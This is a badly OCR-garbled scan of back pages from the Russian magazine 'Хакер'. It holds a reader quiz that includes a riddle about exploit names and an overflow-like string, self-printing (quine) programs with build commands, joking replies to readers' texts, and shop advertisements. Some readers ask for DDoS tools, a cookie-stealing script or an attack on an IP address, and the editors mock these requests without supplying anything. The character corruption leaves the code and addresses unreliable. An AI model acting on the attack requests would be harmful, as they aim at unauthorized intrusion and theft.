открыток я ни получил на свой е-таіі ;). Тут были и призна- 
ния в любви, и в ненависти, один товарищ поздравил с Но- 
вым годом, а кто-то, очевидно, сфотографировал себя в 
ванне... Короче, прикольно. В следующий раз, думаю, в ка- 
ком-нибудь пазле номер своего счета в банке дать ;). 
Меззіг’у (теззіг@г1.тір1.ги) отдельное спасибо за кучу за- 
бавных картинок с не менее забавными пожеланиями мне 
лично и всей редакции ;). Приз твой! 
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ТРЕТИЙ ППЗП «ВОПРОСЫ НП ЗПСЫПКУ 



О. Что означают первые четыре 
цифры в названиях знаменитых 
эксплойтов: 7350854, 7350Тип, 
7350шгт? 

О. Что здесь зашифровано: 
????????????+ААААААААААААА222 

О. Ниже показаны 1 1 
стандартных піх-команд. Скажи, 



какая из этих команд является 
лишней в списке и почему. 

сб, тоге, зогі, сіаіе, аі, гтсііг, 
тксііг, есбо, рм/б, зеі, Еіпб. 

О. Сколькими способами можно 
расставить на шахматной доске 
восемь ладей, не угрожающих 
друг другу? Напиши программу, 
которая определяла бы все 
возможные расстановки. 



Правильные ответы читай в следующем номере. 
Если хочешь получить приз, присыпай свои ответы 
до 1 июля. До встречи! 



то меньше? 

Ниже приведены примеры программ, 
которые выводят точные копии самих 
себя (подробности смотри в январс- 
ком выпуске Х-Рісгіе). 

Приведенное в прошлом выпуске X- 
Ритгіе решение на языке РазсаІ от Оле- 
га Владимировича значительно смог 
улучшить табсуЬег 

(табсубег@таіІ.ги), со 142 до 94 сим- 
волов: 

соп$і з='й39;Ьедіп 

ѵѵгі1:е(сору(5+$+5,39,94))еп(1.соп5І: з='#39:Ьедіп 
игіІе(сору($ + $ + $,39,94))еп(і. 

Прога должна быть записана в одну 
строку, например в файл зеІТ.раз. Для 
компиляции в ОеІрбі7 можно исполь- 
зовать такую командную строку: бсс32 
-СС зеІТ.раз. 



Также табсуЬег выслал решение на 
языке Ассемблер (смотри рисунок). 
Выполняющийся файл можно полу- 
чить с помощью вот такого батника 
(компилятор ТАЗМ): 

іесііо оТТ 

С:\ТА$М\ВЩА$М.ЕХЕ ТА5М41_7.А5М 
С:\ТА5МШ\ТШК.ЕХЕ/х/ПА$М4ШШ 
гіеі ТА5М417.0ВЗ 

Конкурс продолжается! Присылай свои 
программы, выводящие точные копии 
самих себя, на любом языке програм- 
мирования. Лучшие, а значит, самые 
маленькие варианты будут опублико- 
ваны на этих страницах! 



3 приз 




Элитный коврик Хакер ѴѴЕЬСОМЕ и годовая подписка на журнал Хакер 



И последний приз уходит к Зі КгоТ’у (з)тап@таіІ.ги). Спасибо за правильные 
ответы, наши поздравления! 



О. 

О 

_С 



ПО КАТАЛОГАМ і 



САМЕР05Т С ДОСТАВКОЙ НА ДОМ 




у.е. = убитые еноты 
Чтобы сделать 

заказ: 



Коврик для мыши "Опасно для жизни" 
с логотипом журнала "Хакер" 
(черный) 



ѵ\.тѵѵѵ 

заиди на наши сайты 

позвони по телефонам 



ѴѴѴѴѴѴ.Е-5Н0Р.ВІІ ѴУ/ѴѴѴѴ.ХАКЕВ.НІІ ѴѴѴѴѴѴ.6АМЕР03Т.ПІІ У 



( 095 ) 928-6089 ( 095 ) 928-0360 ( 095 ) 928-3574 



е-зИор 



ИНр://ѵѵѵѵѵѵ. е-зИор .ги 




ДА 



I Я ХОЧУ ПОЛУЧАТЬ БЕСПЛАТНЫЙ 
! КАТАЛОГ ТОВАРОВ В СТИЛЕ X 



ИНДЕКС _ 
УЛИЦА _ 



_ ДОМ КОРПУС КВАРТИРА _ 



ОТПРАВЬТЕ КУПОН ПО АДРЕСУ: 101000, МОСКВА, ГЛАВПОЧТАМТ, А/Я 652, Е-5Н0Р 










Ч: Спасибо за журнал, он меня избавляет от комаров 



79263256014 



79037916526 



Вг.КІоиіш 



79167521175 



79165707270 



ояоа 



оаа 



с 



[ РЕДОКЦИОННЫЙ НОМЕР 
•■79037714241 



своих М0бильнь«т1Тф0І7ГэтГ в ПОР ’ т МЫ тзали 8 *УРнале номера 

рш 

V )] [копьи . ж 7 итТ а Как Фании м - 1 31 Д 

ч: я добрый, но ничего не могу с собой поделать, убейте меня 

Я: С места в карьер парень сказанул :). Ни «здрасьте», ни «до свидания». Убейте меня, и все тут! :) 

Ч: Как пишется «переносится»? 

И: Как слышится, так и пишется :). А вообще, мы не знаем, мы безграмотные, 
ч: Здравствуйте, почему вы не хотите сделать еще телепередачу журнал хакер? 
к: Проспонсируешь - сделаем. Хорошо проспонсируешь - отправим к Луне спутник с баннером Хакера, 
ч: X! Добавь в оглавление журнала номера страниц с рекламой а то уж больно неудобно искать... 

Я: Во чудак, покупает журнал из-за рекламы :). 

Ч: Килл зеамерикан. 

Я: Лучше убей того, который слишком добрый. 

Ч: Я вас есть девочка „ет 

ІУ а ■ а “ | ? Іи - м . Грыщ». Иы «8 сут.и.рт, щраідыиеи шныр. 8 шіще. знатны:» с ттмиЛиН 

Тут один пацан приглашает вас на его день варения. Придете? 

Ага, мы же клоуны из «Аншлага». Разъезжаем с гастролями по днюхам :). 

Ч: Люди, напишите прогу для РРОЗ-атак! Ну очень надо!!! 

Я: Хорошо, только ломалку интернет-банков допишем. Сейчас она нам нужнее проги для ддос-атак :), 



Куда делся Шеповалов? Ответьте плиз, а то я в окно выпрыгну!!! 
Прыгай! Долетев до третьего этажа, ты его догонишь :). 

Можете атаковать 192.168.26.22??? 

Ага, уже заатаковались ;). 

Народ! Развеселите больного! Шуточку пришлите или еще чего, плиз! 



□воИ 
[□пая 
000 - 
заао 



Ну, точно нас за клоунов держат 



что. Спонсор нашего журнала - антикомариное средство "Раптор 



Да не за 



СиТТег 



Ч: Срочно свяжись со мной! Меня зовут Дима мне 1 8 лет 
Я: Первый-первый, я второй! Третьим будешь? На связь вышел, мне 19. 
ч: А вы че не спите? 
я: А мы тряпки жжем, смеемся... 

Ч: Хто такое есплоит и хто с ними делать 

Я: Аты чего шепелявишь-то? Сейчас картавость в моде, вообще-то :). 

Ч: Здравствуйте я хотел спросить у меня какойто вирус или не вирус я не знаю короче 
у меня через 1 минуту комп перезагружается и что мне теперь делать этот вирус называется ЛОВЕСАН 
Я: Спасибо что сказал нам как называется этот вирус он ЛОВЕСАН или не ЛОВЕСАН 
мы не знаем короче что делать мы в панике не умирай братишка мы его теряем вернее он прячется ааааа 



Не, умный саный, телефон в журнал печатать? 

Не~а, самые умные дают адреса свои и своих девушек :). 



Ч: В рубрике ХАОС реальные события? Мой ник Камикадзе!!! 

Я: В рубрике ХАОС вымышленные события! Твой ник Камикадзе!!! 

Ч: Как мне научиться взлому? 

я: Ну, уж всяко-разно, читая наш журнал, взлому ты не научишься! 
ч: Мне хак не поможет, пойду, возьму пассатижи 
Я: Пассатижи тебе тоже не помогут. Сходи, возьми кусачки, 
ч: Дай свою асю 

Я: Держи, мне не жалко! Ася: 31 309521 2. Пароль: зсбшгг (у меня таких ась еще много). 

Ч: Привет, хочу проверить вашу мазу с телефонами!!! Ну напиши мне хоть что-нибудь!!! 

Я: Сорри, зе мобайл намба из темпорари блокд. 

Ч: А почему у вас в журнале написано, что женщины - не люди??!! Атак все нравится!! 

Я: А почему тебя интересует именно этот вопрос? А так все ок. 

Ч: Что делать: перезагружается комп! А когда играю в С5 не включается. 

Я: А как можно гонять в контру при не включающемся компе? :) 

Ч: Прочитал статью про зці-іпі. А можно таким образом сломать скрипты, которые работают не с базами данных? 
я: Можно, только если очень осторожно! 

ч . Господа хакеры помогите написать скрипт для какого-нибудь ір для того чтобы он ел Куки 
А чем же этот скрипт будет запивать съеденные куки? 

Хой!! Ты кто??? 

|. Йо! Я еще и сам не определился, кто я :(. 

А правда что появился новый вирь ловесан и майдум гуляют 
н . Правда появился такой вирь ЛОВЕСАН и еще компьютер постоянно перезагружается мы сами не знаем что это такое 



Эпилог 



Мь/Эргр * НЭШИ телефоны не блокируются 

М все еще продолжаем общаться 



с читателями, поэтому пишите 

и звоните, а мы будем только рады 

С любовью, Х-СгеѴѴ. 









(47 1.0 



ОосІ 



РЬ/УГГСОІЧІ 

(геесіот тіпсі 





Москва: АБ-групп (095) 745-51 75; Акситек (095) 784-7224; Банкос (095) 1 28-9022; ДЕЛ (095) 250-5536; Дилайн (095) 969-2222; Инкотрейд (095) 1 76-2873; ИНЭЛ (095) 742-6436; Карин (095) 956-1 1 58 
Компьютерный салон ЗМЗ (095) 956-1225; Компания КИТ (095) 777-6655; Никс (095) 974-3333; ОЛДИ (095) 105-0700; Регард (095) 912-4224; Сетевая Лаборатория (095) 784-6490 
СКИД (095) 232-3324; Тринити Электронике (095) 737-8046; Формоза (095) 234-2164; Ф-Центр (095) 472-6104; ЭЛСТ (095) 728-4060; РІаке (095) 236-992; Рогсе Сотриіегз (095) 775-6655 
І5М (095) 718-4020; Меі)іп (095) 727-1222; N7 Сотриіег (095) 970-1930; Р-ЗІуІе Тгасііпд (095) 514-1414; ИЗЫ Сотриіегз (095) 755-8202; ІЛ.ТКА Сотриіегз (095) 729-5255; ЭЛЕКТОН (095) 956-3819 
ПортКом (095)777-0210; Архангельск: Северная Корона (8182) 653-525; Волгоград: Техком (8612) 699-850; Воронеж: Рет (0732) 779-339; РИАН (0732) 512-412; Сани (0732) 54-00-00 
Иркутск: Билайн (3952) 240-024; Комтек (3952) 258-338; Краснодар: Игрек (8612) 699-850; Лабытнанги: КЦ ЯМАЛ (34992) 51777; Липецк: Регард-тур (0742) 485-285 
Новосибирск: Квеста (38322) 332-407; Нижний Новгород: Бюро-К (8312) 422-367; Пермь: Гаском (8612) 699-850; Ростов-на-Дону: Зенит-Компьютер (8632) 950-300 
Тюмень: ИНЭКС-Техника (3452) 390-036. 
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